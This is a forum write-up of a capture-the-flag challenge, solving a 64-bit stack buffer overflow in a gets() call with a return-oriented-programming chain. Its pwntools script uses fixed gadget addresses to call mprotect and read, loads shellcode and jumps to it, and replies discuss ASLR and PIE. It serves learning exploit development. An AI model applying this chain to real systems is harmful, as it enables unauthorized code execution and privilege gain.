64-bit ROP | You rule 'em all!

Solving a ROP on 64-bit challenge :grinning:

In the name of Allah, the most beneficent, the most merciful.


###Before i begin this article, i want to thank @_py for showing me this beautiful community :yum:

  • This article is for learning purposes… :slight_smile:
  • Hello everybody, this my first article ever, i’m not really good at explaining things… But still, i will try making everything clear for you…
  • So in this task we were given a binary, and its source code… So the first thing is that we should identify the bug, and try to do something with it…
  • Also one thing to keep in mind, the binary does read our input and print it in hexadecimal.

The following lines seem interesting…

char buffer[256];
gets(buffer);

So we have an array named buffer, which size is 256.
and then comes a call to gets();

gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte (aq\0aq).

uhm, so it will read from stdin, until it gets newline. “\x0a”

Seems just perfect. so it will take our input, and stores it in buffer, one question that comes to our mind now…
What if the size of our input was > sizeof(buffer);

  • The answer is that we’ll overwrite the value of saved RIP.

mean that we control the flow of the program…

Let’s try that in the real challenge now…

Let’s first download the binary…

Then let’s try to do what we talked about, making the size of input bigger than the size of the array:

Interesting, we got Segmentation fault, which is actually a signal…

In computing, a segmentation fault (often shortened to segfault) or access violation is a fault, or failure condition, raised by hardware with memory protection, notifying an operating system (OS) the software has attempted to access a restricted area of memory (a memory access violation).

So we can deduce that the RIP pointed to 0x41414141 and tried reading the instuction from that invalid address leading into this…

Awesome! but the question now, is what pad should we use till we reach the RIP saved address… what we should do is decrementing till it exits normally and add one, that’s the perfect padding…

Seems good, so the perfect pad to saved RIP is 280!
let’s make sure it’s the right pad…


And that’s just what we were looking for… Perfect!

Now what to do? we got control over RIP, what’s next?

The next thing is to find gadgets, that’ll help us get shell in some way…

To do this, you can use multiple tools, i use Ropper! a really great tool to search for gadgets ending with a ret; so it just won’t exit, instead, calls the following address.

This challenge, has the following protections on:
FULL RELRO NX ASLR

But, we have a more powerful thing, is that we have control over RIP… and we got alot of gadgets, since the binary is statically linked…

So now, we should make a plan for the attack…
what can we do to get a shell?

The first thing that comes to mind, is making an area in memory [executable, writeable, readable] (RWX), and put shellcode into it, and simply return to it…

To do this, we first got to understand the usage of some functions, like mprotect(), and read()…

And we can see that both function, take 3 arguments… And make use of them!

So let’s see the binary, and write what we will be doing!

1ST : mprotect() an area, making it RWX!
2ND : read() our shellcode from stdin ( fd = 0 ) into the area we made executable.
3RD : return to the area.

So let’s look for a good address to make it’s permissions RWX!

  • We’ll be using vmmap in gdb-peda to see the areas.

Uhmm!

  • We’ll choose 0x6bf000 !

So our usage of mprotect() will be like the following:
mprotect(0x6bf000(*addr), 0x100(len), PROT_READ|PROT_WRITE|PROT_EXEC(prot));
And our usage of read():
read(stdin(fd=0), 0x6bf000(*buf), 0x100(len));

Now, what gadgets can help us invoke the following calls?

We’ll use ropper to get the gadgets!


Let’s try and use ropper!

And that will give you all gadgets, will take some time to load…

let’s find the gadgets that interests us!

syscall; ret; ( invoking the syscall )

pop rax; ret; ( syscall number )

pop rdi; ret; ( 1st argument )

pop rsi; ret; ( 2nd argument )

pop rdx; ret; ( 3rd argument )

So now we have the gadgets, enough to invoke a call!

We will also make use of this table:

And we get syscall numbers for read() and mprotect()

  • So for mprotect() we should set RAX to 0xa and for read() RAX should be set to 0x0

Now we’ve reached a part, where a problem becomes obvious. 0xa, is a newline char, sending it will corrupt our payload…
So we gotta find another way to control RAX, zeroing it out, using xor, and then increment it using add!

Gadgets that’ll help us do this:
xor rax with itself, resulting in RAX = 0; and ret;

increment RAX!

So now to making the exploit we’ll start with putting what we already know there:

#!/usr/bin/python
from pwn import *

c = process("./ch34")

# GADGETS
xorrax = 0x41bd9f
incrax = 0x45aa10
poprdi = 0x4016d3
poprsi = 0x4017e7
poprdx = 0x437205
syscall = 0x45b525
# ADDR
buf = 0x6bf000
# SYSCALL NUMS
mprotect = 0xa
read = 0x0

# EXPLOIT
payload = "A" * 280

# SENDING
c.sendline(payload)
c.interactive()

If we pop a register then the next address will be assigned to it as a value…

So let’s try to make use of the gadgets we found!
we’ll only modify the # EXPLOIT section in the exploit…

# EXPLOIT
payload = "A" * 280
payload += p64(xorrax) # SET RAX = 0
payload += p64(incrax) * 10 # SET RAX = 10

And it worked! we can now continue with other registers!

# EXPLOIT
payload = "A" * 280
payload += p64(xorrax) # SET RAX = 0
payload += p64(incrax) * 10 # SET RAX = 10
payload += p64(poprdi) # 1ST ARGUMENT
payload += p64(buf) # ADDRESS
payload += p64(poprsi) # 2ND ARGUMENT
payload += p64(0x100) # SIZE
payload += p64(poprdx) # 3RD ARGUMENT
payload += p64(0x7) # RWX
payload += p64(syscall) # SYSCALL

Let’s try and see now, if our area is executable! :smiley:

That’s awesome! the area have now RWX permissions!

What do we need to do now?
We need to read the shellcode from stdin and place it in the executable area!

# EXPLOIT
payload = "A" * 280
payload += p64(xorrax) # SET RAX = 0
payload += p64(incrax) * 10 # SET RAX = 10
payload += p64(poprdi) # 1ST ARGUMENT
payload += p64(buf) # ADDRESS
payload += p64(poprsi) # 2ND ARGUMENT
payload += p64(0x100) # SIZE
payload += p64(poprdx) # 3RD ARGUMENT
payload += p64(0x7) # RWX
payload += p64(syscall) # SYSCALL
payload += p64(xorrax) # SET RAX = 0
payload += p64(poprdi) # 1ST ARGUMENT
payload += p64(0x0) # STDIN
payload += p64(poprsi) # 2ND ARGUMENT
payload += p64(buf) # ADDRESS
payload += p64(poprdx) # 3RD ARGUMENT
payload += p64(0x100) # SIZE
payload += p64(syscall) # SYSCALL

And that will be enough to invoke a mprotect() to make the area executable and then read() shellcode from stdin ( fd = 0 ) but still we didn’t do one thing, is returning to shellcode!

To do it, we need to add one line! remember it’s syscall; ret;
So we need to add:

payload += p64(buf)

And also, since it’ll read the shellcode from stdin, we’ll add a variable named shellcode containing a x86_64 shellcode…
and send it right after:

c.sendline(payload)
c.sendline(shellcode)
  • And i think that’s enough to come with a shell!

Time to try!

And we successfully got our lovely shell!
to exploit now on remote, and i’m a windows user… we got to take our payload and change it’s form…

  • Write payload to a file and take it out of my VM…
  • Write a little php script to make it in the form i want…
<?php
error_reporting(0);
$c = file_get_contents('payload');
for($i = 0; $i < strlen($c); $i++){
$a = $c[$i];
$h = base_convert(ord($a), 10, 16);
if(strlen($h) < 2){
$p = "0";
}else{
$p = "";
}
$n .= "\x".$p.$h;
}
print $n;
?>

And that will give us the payload in the following form:

So we can use it: (python -c ‘print “(payload here)”’; python -c ‘print “(shellcode here)”’; cat) | ./ch34

after doing so!
We failed…
We got a shell, but no root permissions!

What about an setuid(0); and then execve(’/bin/sh’); shellcode?


And yeah! it worked…

We successfully exploited it using Return oriented programming!
Hope you understood well, and enjoyed reading as well!
If people like such simple articles, i’ll try making more later! :smiley:

~ exploit

22 Likes

I learned quite a bit from your article! Although I do recommend that you add in a little bit of theory; like what is ROP, what’s RIP, what’s a “buffer”, and what’s the difference between 64-bit ROP & 32-bit ROP (If there is difference. If there’s a whole plethora of differences, then perhaps make another article explaining that?) to the beginning of your article and use more horizontal-rules so people can differentiate between sections easier.

Also, I understand that English may not be your native language but you may want to check up on a few spelling mistakes.

I’m glad that you wrote this article though! Keep on writing and you’ll get better with each and every one. I would like to say again that I did learn quite a lot from you! You did a pretty good job with this and explained things quite well.

4 Likes

Thank you for this reply, in the next articles, i’ll try making my english better, and even go for explaining things more deeply, like you said, and i think you are right, :smile:! Again, thank you for a such reply :smiley:! Also i’m really happy you learned from this article! :heart_eyes:

2 Likes

@exploit really solid first article. I can agree with what @VVid0w said for feedback.
Keep them coming. :wink:

In the end as a feedback in my own words I can say the following:
I could follow this post quite well and enjoyed reading it for the most part. Just a few remarks:

  • It felt like you wanted to make it beginner friendly and tried to explain things carefully even citing how certain functions work. That’s good! But sometimes some explanations were missing for me.
    => E.g. for someone whos not fit in gdb he most likely has not installed gdb-peda. A link or something like a “ressources” section would have fit nicely there. Since as to my knowledge “normal” gdb does not offer vmmap. so for him he’d be kinda confused confused here.
  • Headers would have made the formatting a bit easier to follow.
    => e.g. “Looking for a Vuln.”, “Building the exploit”, …
  • also the first command using scp didn’t work for me as displayed in the first try. switching to ssh did tho. Not sure if that’s a problem at my end right now tho.

I’m looking forward to future posts from you.

2 Likes

@VVid0w @ricksanchez: Though I completely understand where you are coming from and I personally strive to always make my write-ups beginner friendly and technical at the same time, you have to see it from a different perspective as well.

What you are essentially saying is that @exploit should include an english tutorial in his write-up as well (assuming that his english are perfect). I wish every technical paper had an intro section as well to get me up to speed but the truth is, it’s called technical for a reason. Imagine if every RE/Malware book included an intro to programming as well. The same applies for CVE’s.

Just to be clear, I completely see your points. But, there are 2 perspectives:

  • See it as lack of information.
  • See it as motivation for further research.

No hate,
Peace and love.

5 Likes

@_py , you’re correct with what you’re stating about technical papers and other publications.
Maybe we need something like a tag here in the forum which is either [beginner friendly] or [intermediate] for articles with “motivation for further research” as you call it. This would make writing articles for different target groups more easy ( at least visually ).
But in general it was no hate against @exploit at all. He wrote a good article there’s nothing to argue about that :slight_smile: .

3 Likes

@ricksanchez You are right on that. We don’t really need a tag, but it’d save a lot of the reader’s time if every author states at the beginning what should be expected in terms of theory etc.

1 Like

@_py then maybe it’s time to create a rough template or some writing guidelines and pin them to the top?

2 Likes

@oaktree @pry0cc @IoTh1nkN0t @0x00pf he’s got a point.

3 Likes

You beat that challenge without using ROPgadget ? I respect that :smiley:

1 Like

He used Ropper which does basically the same :slight_smile:

1 Like

I meant “ropgadget --ropchain” :wink:

1 Like

Thank you guys for feedback :smiley:, I really appreciate this. Thank you guys :heart: !

1 Like

@ricksanchez @_py Is this what you mean?

@TheDoctor That is more of a syntactical/formatting guideline. We’ll add further info on that one (or make a fresh one) and pin it.

3 Likes

I see that ASLR is enabled using /proc/sys/kernel/randomize_va_space
But my doubt is that how are the addresses of gadgets being same even after running many times ?

1 Like

There is system ASLR where only libc’s base address is randomized and there’s also full ASLR which randomizes the address space of the binary itself (i.e gadget addresses as you mentioned), aka PIE (google gcc’s -fPIE flag).

In @exploit’s case, only libc’s base address was randomized and thus the gadgets had the same address in each execution since they were in the text segment area of the binary and not inside libc.

2 Likes

@exploit Hey man, i noticed that you post some great exploit dev tutorials.
I have been trying to tackle the challenge from root-me about the x86 kernel bof.
I would love to see a tutorial about that, to learn a few things.
I am looking forward to it, if you have any time to solve it and write a couple of stuff here.
thx in advance

1 Like

@trickster0 Happy you learnt something :smiley:! And i’ll do my best to write about Kernel BOF once i find some freetime. :smile:

how does the author come to know that the function mprotect takes arguements from those particular registers ( rdi ,rsi , rdx ) !!??